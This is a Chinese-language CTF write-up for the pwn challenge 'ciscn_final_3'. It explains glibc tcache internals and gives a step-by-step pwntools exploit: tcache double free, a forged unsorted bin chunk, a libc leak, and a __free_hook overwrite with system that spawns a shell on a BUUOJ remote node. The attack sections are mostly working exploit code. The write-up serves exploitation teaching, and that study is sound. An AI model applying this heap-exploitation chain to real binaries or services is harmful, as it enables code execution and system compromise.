文章目录
What is tcache
tcache是libc2.26之后引进的一种新机制，类似于fastbin一样的东西，每条链上最多可以有 7 个 chunk，free的时候当tcache满了才放入fastbin，unsorted bin，malloc的时候优先去tcache找，同时tcache也讲究size匹配，就比如说如果你需要0x30的空间，就算我现在有0x40,或者0x50的空闲块，我都不会去使用，而是会去从top chunk里面分割(当然这是没有unsorted bin的时候)，这一点很像fastbin
所以一般题目没有限制大小的话想要泄露libc，就会先malloc多个0x90以上大小的块，然后先free 7个，第8个就会进入到unsorted bin，这个时候再分配一个比0x90小的块，就会从这个unsroted bin里面切割,这个时候这个小块的fd和bk会保留着unsorted bin的链表指针，也就是指回main_arena的值，那么我们show一下基本就可以获得libc地址（当然要算好偏移）
typedef struct tcache_perthread_struct
{
char counts[TCACHE_MAX_BINS];
tcache_entry *entries[TCACHE_MAX_BINS];
} tcache_perthread_struct;
# define TCACHE_MAX_BINS 64
static __thread tcache_perthread_struct *tcache = NULL;
tcache_perthread_struct结构体是用来管理tcache链表的。其中的count是一个字节数组（共64个字节，对应64个tcache链表），其中每一个字节表示的是tcache每一个链表中有多少个元素。entries是一个指针数组（共64个元素，对应64个tcache链表，因此 tcache bin中最大为0x400字节），每一个指针指向的是对应tcache_entry结构体的地址。
tcache与fastbin链表的异同点在于：
tcachebin和fastbin都是通过chunk的fd字段来作为链表的指针
不同的是,tcachebin中的链表指针指向的下一个chunk的mem,fastbin中的链表指针指向的是下一个chunk的chunk
但今天这个题目就比较特别，他限制了大小为0x80,也就是说你正常的话是无法进入unsorted bin里面
这个其实可以说有两种解法
网上普遍用的是tcache的另一个机制，就是如果超过了0x400，就会进入unsorted bin,所以只需要修改大小就好，我第一次也是用这个打的
我现在要讲的是另一种解法，当然也多亏"安全"的tcache
pwn题
这个就不讲了，因为这个题目比较特殊，个人感觉是比较好的题目，出题思路很好，利用也怎么说，要说复杂不复杂，就是感觉好
例题
检查
代码分析
就两个函数，add delete
add函数
add没有堆溢出，只是会给你一个指针，这个指针可以确定堆的位置，进而利用double free修改size,同时可以用这个泄露libc地址，但这个想想就复杂
delete函数
经典的指针没有清空
准备框架
#! /usr/bin/python3
# -*- coding: utf-8 -*-
from pwn import *
from LibcSearcher import LibcSearcheronline
it = lambda: io.interactive()
ru = lambda x: io.recvuntil(x)
rud = lambda x: io.recvuntil(x, drop=True)
r = lambda x: io.recv(x)
rl = lambda: io.recvline()
rld = lambda: io.recvline(keepends=False)
s = lambda x: io.send(x)
sa = lambda x, y: io.sendafter(x, y)
sl = lambda x: io.sendline(x)
sla = lambda x, y: io.sendlineafter(x, y)
libc_23_gadget = [0x45216, 0x4526A, 0xF02A4, 0xF1147]
elf_path = "./ciscn_final_3_debug"
elf = ELF(elf_path)
context(arch=elf.arch, os="linux", log_level="debug")
if "debug" in elf_path:
libc_path = elf.linker.decode().replace("ld", "./libc")
libc = ELF(libc_path)
else:
libc_path = ""
if len(sys.argv) > 1:
remote_ip = "node4.buuoj.cn"
remote_port = 25715
io = remote(remote_ip, remote_port)
else:
if libc_path != "":
io = process(elf_path, env={"LD_PRELOAD": libc_path})
else:
io = process(elf_path)
def debug():
# 断点设置在c之前就好,查看bss时候要在c后面
gdbscript = """
c
x/5xg $rebase(0x2022A0)
"""
gdb.attach(io, gdbscript=gdbscript)
def add(index: int, size: int, content: bytes):
sla(b"choice > ", b"1")
sla(b"input the index", str(index).encode())
sla(b"input the size", str(size).encode())
sla(b"now you can write something", content)
# 没有清空
def free(index: int):
sla(b"choice > ", b"2")
sla(b"input the index", str(index).encode())
attack
这里要感谢tcache,2.27版本的libc压根不检查double free,所以我们一上来就可以直接free n次数
add(0, 0x18, b"a")
ru(b"gift :")
heap_0_addr = int(rld(), 16)) #获得第一个的堆地址
add(1, 0x18, b"b") #这两个用来伪造0xa0大小的unsorted bin
add(2, 0x78, b"c")
0x18+0x78的大小是0x20+0x80=0xa0在unsroted bin范围
同时由于unsorted bin之前讲过，他会去判断下一个块prev_in_use位，所以我们必须要保证可以找到后面的快，所以一定要把大小匹配上
修改大小为unsorted bin范围
因为我们知道堆地址，可以利用double free把指针改成第一个堆的mem部分，然后就可以刚好修改第二个堆的大小
debug()
add(0, 0x18, b"a")
ru(b"gift :")
heap_0_addr = int(rld(), 16)
add(1, 0x18, b"b")
add(2, 0x78, b"c")
free(0)
free(0)
free(0)#估计你都看呆了，直接double free
it()
下面开始修改fd
debug()
add(0, 0x18, b"a")
ru(b"gift :")
heap_0_addr = int(rld(), 16)
add(1, 0x18, b"b")
add(2, 0x78, b"c")
free(0)
free(0)
free(0)#估计你都看呆了，直接double free
add(3, 0x18, p64(heap_0_addr + 0x10))
add(4, 0x18, p64(0))
add(5, 0x18, p64(0) + p64(0xA1))
it()
我们贴三个图，对应add三次的情况
当第一次add的时候，我们先从单项链表中取出一项
同时把这个fd指针修改了，所以可以看到这个链表变成这样了
第二次再取了一项，只剩我们最后的目标项
完美的欺骗
这里为了防止unsorted bin合并到top chunk,还需要额外来一块
debug()
add(0, 0x18, b"a")
ru(b"gift :")
heap_0_addr = int(rld(), 16)
add(1, 0x18, b"b")
add(2, 0x78, b"c")
free(0)
free(0)
free(0)
add(3, 0x18, p64(heap_0_addr + 0x10))
add(4, 0x18, p64(0))
add(5, 0x18, p64(0) + p64(0xA1))
add(6, 0x18, p64(0)) # 防止合并
it()
free成unsorted bin
这里我需要把这个a1进入unsorted bin,所以需要free 8次
free 7次
free 第8次
debug()
add(0, 0x18, b"a")
ru(b"gift :")
heap_0_addr = int(rld(), 16)
add(1, 0x18, b"b")
add(2, 0x78, b"c")
free(0)
free(0)
free(0)
add(3, 0x18, p64(heap_0_addr + 0x10))
add(4, 0x18, p64(0))
add(5, 0x18, p64(0) + p64(0xA1))
add(6, 0x18, p64(0)) # 防止合并
for i in range(8):
free(1)
it()
这里有个细节，但我们把这个chunk作为unsortedbin free的时候，会把后面块的prev_inuse清空
难点，怎么泄露libc
大家都知道，我们有个unsorted bin之后，就可以malloc一个小块然后show一下就可以获得marene+88的地址，但是这里没有show,只有一个打印当前块的malloc地址
所以我们必须要把块分配到libc上才有可能泄露
但一般来说只有知道libc地址才能分配到libc上
所以这个地方其实是很有难度的
我们需要让这个块的fd被系统自动填成libc地址
那怎么做呢
我单纯的从unsorted bin中malloc一个块，可以让这个块的fd变成libc有关，但一旦我free之后，这个fd会变成0或者指向其他的堆，那么这个肯定是不可以的
那只有这样的方法，我先free掉可能fd会被替换成libc地址的块两次，一旦malloc这个块，这个fd被修改，那么我的链表也被修改，就可以泄露了
之前我们创造a0的时候，可以看到里面有两个块
0x20,0x80
0x20的大小已经被修改成了0xa0,这个free是没有效果的
那么我们可以free0x80的，然后只要先malloc0x20再malloc0x80,就可以自动填充了
debug()
add(0, 0x18, b"a")
ru(b"gift :")
heap_0_addr = int(rld(), 16)
add(1, 0x18, b"b")
add(2, 0x78, b"c")
free(0)
free(0)
free(0)
add(3, 0x18, p64(heap_0_addr + 0x10))
add(4, 0x18, p64(0))
add(5, 0x18, p64(0) + p64(0xA1))
add(6, 0x18, p64(0)) # 防止合并
for i in range(8):
free(1)
free(2)
free(2)
it()
可以看到进入了tcache,下面就是让他自动填充为libc
debug()
add(0, 0x18, b"a")
ru(b"gift :")
heap_0_addr = int(rld(), 16)
add(1, 0x18, b"b")
add(2, 0x78, b"c")
free(0)
free(0)
free(0)
add(3, 0x18, p64(heap_0_addr + 0x10))
add(4, 0x18, p64(0))
add(5, 0x18, p64(0) + p64(0xA1))
add(6, 0x18, p64(0)) # 防止合并
for i in range(8):
free(1)
free(2)
free(2)
add(7, 0x18, b"")
it()
可以看到由于我们的fd刚好本来是用来管理unsorted bin,但结构由于我们tcahe的原因，导致单向链表被修改，下面就malloc两次就可以获得libc地址
debug()
add(0, 0x18, b"a")
ru(b"gift :")
heap_0_addr = int(rld(), 16)
add(1, 0x18, b"b")
add(2, 0x78, b"c")
free(0)
free(0)
free(0)
add(3, 0x18, p64(heap_0_addr + 0x10))
add(4, 0x18, p64(0))
add(5, 0x18, p64(0) + p64(0xA1))
add(6, 0x18, p64(0)) # 防止合并
for i in range(8):
free(1)
free(2)
free(2)
add(7, 0x18, b"")
add(8, 0x78, b"")
add(9, 0x78, b"")
ru(b"gift :")
libc_base = int(rld(), 16) + 0x7F2DEB7F2000 - 0x7F2DEBBDDCA0
system_addr = libc_base + libc.sym["system"]
free_hook_addr = libc_base + libc.sym["__free_hook"]
it()
double free free_hook
直接打远程就好
add(0, 0x18, b"a")
ru(b"gift :")
heap_0_addr = int(rld(), 16)
add(1, 0x18, b"b")
add(2, 0x78, b"c")
free(0)
free(0)
free(0)
add(3, 0x18, p64(heap_0_addr + 0x10))
add(4, 0x18, p64(0))
add(5, 0x18, p64(0) + p64(0xA1))
add(6, 0x18, p64(0)) # 防止合并
for i in range(8):
free(1)
free(2)
free(2)
add(7, 0x18, b"")
add(8, 0x78, b"")
add(9, 0x78, b"")
ru(b"gift :")
libc_base = int(rld(), 16) + 0x7F2DEB7F2000 - 0x7F2DEBBDDCA0
system_addr = libc_base + libc.sym["system"]
free_hook_addr = libc_base + libc.sym["__free_hook"]
free(7)
free(7)
free(7)
add(10, 0x18, p64(free_hook_addr))
add(11, 0x18, b"/bin/sh\0")
add(12, 0x18, p64(system_addr))
free(11)
it()
总结
这个题目还是很有意思的，包括你怎么修改大小，已经如果把堆分配到libc上去都是很巧妙的